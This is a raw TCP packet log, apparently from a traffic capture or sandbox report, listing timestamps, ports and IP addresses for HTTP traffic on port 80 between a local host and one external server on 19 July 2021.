Jul 19, 2021 18:36:09.758537054 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.838154078 CEST	80	49876	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.838248968 CEST	49876	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.841449022 CEST	80	49878	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.841552973 CEST	49878	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.842003107 CEST	49878	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.848786116 CEST	80	49877	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.848915100 CEST	49877	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.852387905 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.852510929 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.853369951 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.853476048 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.853684902 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.853864908 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.926613092 CEST	80	49878	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.948103905 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.948555946 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.949712038 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.949801922 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.949826002 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.949898005 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.950083017 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950099945 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950113058 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950126886 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950140953 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950149059 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.950151920 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950191975 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.950213909 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.950309992 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950360060 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.950649977 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.950695992 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:09.970917940 CEST	80	49878	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:09.970985889 CEST	49878	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.043395996 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.043450117 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.043519020 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.043540955 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.043577909 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.043615103 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.044715881 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.044825077 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.068042040 CEST	80	49878	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.068236113 CEST	49878	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.090409994 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.091777086 CEST	49878	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.091867924 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.092195034 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.092556953 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.139437914 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.139481068 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.139506102 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.139529943 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.139558077 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.139590979 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.139642000 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.174654007 CEST	80	49880	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.174894094 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.175317049 CEST	80	49878	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185738087 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185786963 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185862064 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185978889 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185986996 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.185992956 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.186022043 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.186031103 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.186150074 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.186156988 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.233223915 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.233253956 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.233266115 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.233283043 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.233295918 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.235321045 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.243280888 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.243324995 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:10.243417025 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:10.243459940 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.312097073 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.313342094 CEST	49879	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.405590057 CEST	80	49880	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.405628920 CEST	80	49880	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.405847073 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.409742117 CEST	80	49879	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.538813114 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.539804935 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.548170090 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.622940063 CEST	80	49881	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.623596907 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.624319077 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.624387026 CEST	80	49880	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.624461889 CEST	49880	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.628736973 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.628829002 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.629368067 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.629446030 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.629617929 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.629736900 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.703912020 CEST	80	49881	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.710387945 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711869001 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711891890 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711906910 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711920977 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711934090 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711946964 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.711961985 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.712001085 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.712037086 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.712052107 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.712083101 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.712165117 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.712183952 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.712209940 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.712281942 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.712307930 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.723628044 CEST	80	49881	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.728297949 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.791506052 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.791533947 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.791627884 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.791718960 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.791783094 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.791829109 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.791899920 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.792167902 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.792256117 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.793618917 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.793719053 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.795664072 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.795948029 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.795984983 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.796005011 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.796101093 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.840576887 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.842484951 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.871304035 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.871555090 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.871838093 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.871932983 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.873342991 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.873366117 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.874026060 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.875612974 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.875633955 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.875963926 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.875977039 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.876101971 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.925405979 CEST	80	49883	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.927505016 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.928858042 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.945333004 CEST	80	49881	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.948509932 CEST	49881	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:11.953187943 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.953216076 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.965871096 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:11.968250990 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.011606932 CEST	80	49883	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.023767948 CEST	80	49883	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.023947001 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.135601044 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.135858059 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.136929035 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.216984987 CEST	80	49882	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.217080116 CEST	49882	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.218398094 CEST	80	49883	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.218486071 CEST	49883	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.219486952 CEST	80	49884	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.219602108 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.605684996 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.637809992 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.691714048 CEST	80	49884	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.700720072 CEST	80	49884	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.702173948 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.722136021 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.724894047 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.724966049 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.724970102 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.724984884 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.725718975 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.807235956 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.808485031 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.808574915 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.808674097 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.808835983 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.808897018 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809081078 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809154034 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809227943 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809289932 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809359074 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809375048 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809417009 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809469938 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809629917 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809690952 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.809895992 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.809959888 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.810014963 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.810126066 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.810185909 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.810306072 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.810360909 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.810408115 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.888010979 CEST	80	49886	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.888189077 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.889003992 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.890384912 CEST	80	49884	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.890505075 CEST	49884	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.891809940 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.891918898 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.891974926 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.892014980 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.892085075 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.892143011 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.892236948 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.892292023 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.892400026 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.892473936 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.893341064 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.893362999 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.893450975 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.894208908 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.894301891 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.894790888 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.894912958 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.895073891 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.895241976 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.895287991 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.895325899 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.968561888 CEST	80	49886	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.968614101 CEST	80	49886	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.968903065 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.977776051 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.977835894 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.977951050 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.978096962 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:12.978215933 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.978312969 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:12.978329897 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.061636925 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.061671019 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.061686993 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.061701059 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.061713934 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.062094927 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.073945045 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.077178955 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.115529060 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.115712881 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.156400919 CEST	80	49887	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.157705069 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.158267975 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.194266081 CEST	80	49886	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.217403889 CEST	80	49886	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.217974901 CEST	49886	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.237131119 CEST	80	49887	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.250161886 CEST	80	49887	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.250354052 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.366560936 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.366848946 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.367892981 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.369407892 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.445126057 CEST	80	49887	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.445461035 CEST	49887	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.449765921 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.450155020 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.450517893 CEST	80	49885	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.450856924 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.450870991 CEST	49885	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.450998068 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.451258898 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.451385975 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.452652931 CEST	80	49889	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.453788996 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.454369068 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.532818079 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.532871008 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.532890081 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.532906055 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.533051014 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.533061981 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.533174992 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.533174992 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.533240080 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.533333063 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.538852930 CEST	80	49889	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.538918018 CEST	80	49889	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.539041042 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.615345001 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615382910 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615392923 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615402937 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615417004 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615427017 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615439892 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615453005 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.615700960 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.615787029 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.651537895 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.654186964 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.697711945 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697742939 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697755098 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697770119 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697788000 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697880983 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.697943926 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.698015928 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.698144913 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.698184967 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.698225021 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.732625961 CEST	80	49890	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.732836962 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.733556986 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.734445095 CEST	80	49889	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.734559059 CEST	49889	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.779748917 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.779782057 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.781255007 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.781311035 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.781591892 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.788165092 CEST	80	49888	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.788301945 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.811619997 CEST	80	49890	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.811650991 CEST	80	49890	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:13.811908007 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.917009115 CEST	49888	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.917689085 CEST	49890	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:13.918752909 CEST	49891	80	192.168.2.6	185.114.247.54
